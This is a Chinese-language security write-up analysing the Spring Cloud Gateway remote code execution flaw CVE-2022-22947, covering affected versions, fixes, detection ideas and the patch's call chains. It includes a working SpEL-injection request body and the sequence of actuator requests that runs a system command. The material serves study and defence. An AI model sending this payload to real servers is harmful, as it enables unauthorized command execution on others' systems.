远程代码执行漏洞复现分析

简介

前段时间有篇文章披露了开源项目 Spring Cloud Gateway 的一个远程代码执行漏洞，编号为 CVE-2022-22947。

受影响版本

根据 VMWare 和 Spring 的官方公告，受影响的版本为：

• 3.1.0
• 3.0.0 到 3.0.6
• 旧的不受支持的版本也受影响

修复方案

修复方案有：

• 3.1.x 版本用户应升级到 3.1.1+ 版本，3.0.x 版本用户应升级到 3.0.7+ 版本。
• 在不影响业务的前提下，通过将配置选项 management.endpoint.gateway.enabled 设置为 false 禁用 gateway actuator endpoint。

检测思路

流量检测：分析 HTTP 流量，检测是否存在异常访问 actuator gateway API 的请求。

主机端：

• 静态检测：通过对比修复前后 ShortcutConfigurable.class 文件的区别指定特征码，根据特征码编写 yara 规则，以查找服务器上是否存在受影响版本的 spring-cloud-gateway jar 包。
• 动态检测：查找服务器上正在运行的 Java 进程，检测其是否加载了 spring-cloud-gateway jar 包。

漏洞分析

目前已公开的漏洞分析文章都在分析 3.x 版本，为了确认 2.x 版本也受影响，本文对 2018 年发布的 Finchley.RELEASE 版本进行了分析，Spring Cloud Gateway 的版本为 2.0.0.RELEASE。

环境搭建

演示项目代码已上传到 GitHub 仓库。

项目中，通过配置文件定义了一个路由。启动项目后，访问 http://localhost:8080/ip，如果一切正常，则会得到以下结果：

image.png

利用方法

以 POST 方法请求 /actuator/gateway/routes/pentest，并提交以下数据，用于创建一条恶意路由：

{
  "id": "pentest",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "X-Request-Foo",
        "": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(getRuntime().exec(new String[]{\"wh\"}).getInputStream()))}"
      },
      "uri": "http://httpbin.org/get",
      "predicates": [
        {
          "name": "Method",
          "args": {
            "_key_0": "GET"
          }
        },
        {
          "name": "Path",
          "args": {
            "_key_0": "/pentest"
          }
        }
      ]
    }
  ]
}

• id 字段指定新路由的名称，必须全局唯一。
• filters 字段给这条路由指定若干个过滤器。过滤器用于对请求和响应进行修改。
  • name 字段指定要添加的过滤器，这里添加了一个 AddResponseHeader 过滤器，用于 gateway 给客户端返回响应之前添加一个响应头。
  • args.name 字段指定要添加的响应头。
  • args.value 字段指定响应头的值。这里的值是要执行的 SpEL 表达式，用于执行 whoami 命令。注意需要将命令输出结尾的换行符去掉，否则过滤器执行时会抛出异常说「响应头的值不能以 \r 或 \n 结尾」。
  • uri 字段指定将客户端请求转发到 http://httpbin.org/get。
  • predicates 字段指定匹配此路由的条件。这里指定了两个条件，一个是请求的方法为 GET，一个是请求的 URI 为 /pentest。

有关其它 actuator gateway 的 API，可查看官方文档[^7]。

image.png

接着以 POST 方法请求 /actuator/gateway/refresh ，用于刷新路由，使刚添加的恶意路由生效。

最后以 GET 方法请求 /pentest，触发恶意路由。在响应中可以看到过滤器添加的响应头：

image.png

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修复方案分析

代码修复方案

首先在官方仓库中查看为了修复漏洞的 commit：

image.png

在 ShortcutConfigurable 接口中的 getValue 方法中，使用自定义的 GatewayEvaluationContext 类替换了原来的 StandardEvaluationContext 类。查看 GatewayEvaluationContext 类的实现可知，其是对 SimpleEvaluationContext 类的简单封装。

通过查询文档可知，StandardEvaluationContext 和 SimpleEvaluationContext 都类是执行 Spring 的 SpEL 表达式的接口，区别在于前者支持 SpEL 表达式的全部特性，后者相当于一个沙盒，限制了很多功能，如对 Java 类的引用等。因此通过将 StandardEvaluationContext 类替换为 GatewayEvaluationContext 类，可以限制执行注入的 SpEL 表达式。

禁用 actuator gateway

通过前面的漏洞利用过程可以看到，首先需要通过 /actuator/gateway/routes/{id} API 创建一条路由。因此将此 API 禁止，也可实现漏洞的修复。根据 Actuator 的 API 文档[^7]可知，启用 actuator gateway 需要设置以下两个配置的值：

management.endpoint.gateway.enabled=true # default value
management.endpoints.web.exposure.include=gateway

因此只要这两个选项不同时满足，就不会启用 actuator gateway。

漏洞分析思路

以 ShortcutConfigurable 接口开始，通过 IntelliJ IDEA 可以看到，大多数内置过滤器都继承了 ShortcutConfigurable 接口。其次，RouteDefinitionRouteLocator 类（org/springframework/cloud/gateway/route/RouteDefinitionRouteLocator.class）的私有方法 loadGatewayFilters 中调用了 ShortcutConfigurable 接口的 normalize 方法：

image.png image.png

通过简单的回溯，RouteDefinitionRouteLocator 类的公有方法 getRoutes 最终会调用 loadGatewayFilters 方法，调用链为：

loadGatewayFilters() -> getFilters() -> convertToRoute() -> getRoutes()

因此 /actuator/gateway/routes 这个 URI 也会触发 SpEL 表达式的执行。

再仔细看下 loadGatewayFilters 方法的关键功能：

• 参数 id 为路由的名称，也就是定义路由时参数 id 的值。参数 filterDefinitions 为该路由中定义的过滤器对象数组。
• 方法遍历过滤器对象数组：
  • 检查指定的过滤器是否存在。不存在则抛出异常 Unable to find GatewayFilterFactory with name。
  • 存在时，获取过滤器的参数，并打印 debug 日志 RouteDefinition {id} applying filter {args} to {filter}。
  • 调用 normalize 方法，如果参数的值是 SpEL 表达式则执行，不是则直接返回。
  • 使用处理后的参数创建配置对象，然后使用过滤器工厂创建过滤器实例并保存到数组中。

2.x 与 3.x 版本的区别

在产生漏洞的核心点上，二者没有区别，都是 ShortcutConfigurable 接口的 getValue 方法中使用了 StandardEvaluationContext 类来执行 SpEL 表达式。

第一个区别在于，2.x 版本在刷新路由后需要额外一次请求才能触发 SpEL 表达式的执行。而 3.x 版本在刷新路由后会立即执行。

第二个区别在于对此方法的调用链。通过查找源代码可知，只有 ConfigurationService 类的内部类 ConfigurableBuilder 的 normalizeProperties 方法（重写了父类中的方法）中调用了 normalize 方法。而 ConfigurableBuilder 类继承自内部抽象类 AbstractBuilder。AbstractBuilder 类中有一公有方法 bind 调用了 normalizeProperties 方法。

继续跟进对 bind 方法的引用，可知有三处：

• AbstractRateLimiter 类的 onApplicationEvent 方法。
• RouteDefinitionRouteLocator 类的 loadGatewayFilters 方法和 lookup 方法。

然后继续回溯可以知道所有有可能触发 SpEL 表达式执行的地方。